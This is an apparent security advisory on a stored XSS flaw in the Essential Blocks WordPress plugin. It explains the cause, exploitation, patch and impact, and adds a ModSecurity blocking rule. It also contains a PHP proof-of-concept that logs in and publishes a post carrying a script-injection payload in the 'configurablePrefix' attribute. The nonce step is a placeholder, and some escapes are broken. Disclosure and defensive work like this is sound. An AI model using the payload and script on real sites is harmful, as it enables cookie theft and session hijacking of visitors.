Atomic Edge analysis of CVE-2026-10833:
This vulnerability is a Stored Cross-Site Scripting (XSS) in the Gutenberg Essential Blocks plugin for WordPress, affecting versions up to and including 6.1.4. The flaw resides in the ‘configurablePrefix’ attribute of the Table of Contents block. An authenticated attacker with Contributor-level access or higher can inject arbitrary JavaScript into pages, which executes when any user visits the affected page. The CVSS score is 6.4.
Root Cause: The root cause is insufficient sanitization of the ‘configurablePrefix’ attribute in the TableOfContents block. The vulnerable code is in `essential-blocks/includes/Blocks/TableOfContents.php` around line 213. The `$configurablePrefix` value is user-supplied via the block’s attribute and is used to generate HTML anchor IDs for headings. The frontend JavaScript writes these anchor IDs directly into the page’s innerHTML. The plugin did not strip or escape HTML-disallowed characters from this prefix before using it to generate heading IDs. The code at line 222 directly assigned `$configurablePrefix` without any sanitization when `$allowConfigurablePrefix` was true.
Exploitation: An attacker with Contributor-level permissions or higher creates or edits a post using the Gutenberg editor. They add a Table of Contents block and set the ‘configurablePrefix’ attribute to a malicious payload, for example: `”>alert(document.cookie)`. The attacker then publishes the post. The plugin saves the block’s markup with this unsanitized prefix. When any user (including administrators or visitors) loads the published page, the frontend JavaScript retrieves the prefix and writes it into the DOM as an HTML anchor ID. The browser interprets the injected script tag, executing the attacker’s JavaScript in the context of the victim’s session.
Patch Analysis: The patch modifies `essential-blocks/includes/Blocks/TableOfContents.php` in the `render_callback` method. A new filter is added at line 219 that applies `preg_replace( ‘/[^A-Za-z0-9_-]/’, ”, (string) $configurablePrefix )`. This removes any character that is not an alphanumeric, underscore, or hyphen. If the resulting string is empty, it falls back to a safe default `’eb-toc-‘`. This ensures the prefix can only contain safe HTML ID characters, completely preventing XSS injection through this attribute. The change is backward-compatible for legitimate uses (e.g., underscores and hyphens are preserved) and fails safely to the default prefix.
Impact: Successful exploitation allows the attacker to execute arbitrary JavaScript in the browser of any user who views the compromised page. This can lead to session hijacking, cookie theft, keylogging, defacement, or redirection to malicious sites. Because the XSS is stored (persistent), the payload affects all subsequent visitors until the post is deleted or the content is sanitized. The attack requires an authenticated user with at least Contributor-level permissions, which limits the attack surface to users who can publish content. However, given Contributor is a low-privilege role in many WordPress setups, the risk is significant for sites with multiple authors.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-10833
# Blocks stored XSS via configurablePrefix in REST API post creation
# Targets the specific attribute name and XSS payload pattern
SecRule REQUEST_URI "@rx ^/wp-json/wp/v2/posts$"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-10833 Stored XSS via configurablePrefix',severity:'CRITICAL',tag:'CVE-2026-10833'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS:content "@rx configurablePrefix" "chain"
SecRule ARGS:content "@rx <script|<img|<svg|<on" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-10833 - Gutenberg Essential Blocks - Page Builder for Gutenberg Blocks & Patterns <= 6.1.4 - Stored XSS via 'configurablePrefix' Block Attribute
// Configuration
$target_url = 'http://example.com'; // Change to target WordPress URL
$username = 'attacker'; // Change to attacker's WordPress username
$password = 'password'; // Change to attacker's password
// Payload: XSS that triggers when the page is viewed
$payload = '"><script>alert("XSS")</script>';
// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies_cve.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);
// Step 2: Create a post with a malicious Table of Contents block
// The block JSON contains the unsanitized configurablePrefix
$post_data = array(
'title' => 'Test Post CVE-2026-10833',
'content' => '<!-- wp:essential-blocks/table-of-contents {"configurablePrefix":"' . $payload . '","allowConfigurablePrefix":true,"blockId":"test123"} /-->',
'status' => 'publish'
);
$post_url = $target_url . '/wp-json/wp/v2/posts';
$ch = curl_init($post_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'X-WP-Nonce: ' . get_nonce($ch) // Simplified; real PoC would need to obtain nonce
));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve.txt');
$response = curl_exec($ch);
curl_close($ch);
// Step 3: Verify the post is published (URL will be in response)
$result = json_decode($response, true);
if (isset($result['link'])) {
echo "Vulnerable post published at: " . $result['link'] . "n";
echo "Access this URL to trigger the XSS payload.n";
} else {
echo "Failed to create post. Response: " . $response . "n";
}
// Helper function (simplified - real usage would include proper nonce handling)
function get_nonce($ch) {
return 'placeholder_nonce';
}
?>